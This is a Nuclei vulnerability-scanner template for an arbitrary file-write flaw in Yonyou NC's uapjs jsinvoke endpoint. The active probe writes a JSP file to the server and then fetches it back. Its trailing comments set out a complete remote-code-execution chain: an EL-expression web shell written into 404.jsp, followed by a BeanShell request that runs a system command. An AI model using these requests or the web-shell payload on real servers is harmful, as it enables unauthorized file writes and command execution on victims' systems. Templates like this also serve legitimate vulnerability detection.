nuclei-templates/http/cnvd/2023/CNVD-C-2023-76801.yaml

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id: yonyou-nc-uapjs-jsinvoke-fileupload
info:
name: Yonyou NC uapjs jsinvoke 文件上传漏洞
author: SleepingBag945
severity: critical
description: 用友NC 及 NCC系统存在任意方法调用漏洞通过uapjs (jsinvoke)利用漏洞可调用危险方法造成攻击。
tags: yonyou
http:
- raw:
- |
POST /uapjs/jsinvoke/?action=invoke HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
{"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig",
"parameterTypes":["java.lang.Object","java.lang.String"],
"parameters":["{{randstr_2}}","webapps/nc_web/{{randstr_1}}.jsp"]}
- |
GET /{{randstr_1}}.jsp HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code_1 == 200
- status_code_2 == 200 && contains(body_2,"{{randstr_2}}")
condition: and
# POST /uapjs/jsinvoke/?action=invoke HTTP/1.1
# Host: {{Hostname}}
# {"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig","parameterTypes":["java.lang.Object","java.lang.String"],"parameters":["${param.getClass().forName(param.error).newInstance().eval(param.cmd)}","webapps/nc_web/404.jsp"]}
# POST /cmdb.jsp?error=bsh.Interpreter HTTP/1.1
# Host: {{Hostname}}
# cmd=org.apache.commons.io.IOUtils.toString(Runtime.getRuntime().exec("whoami").getInputStream())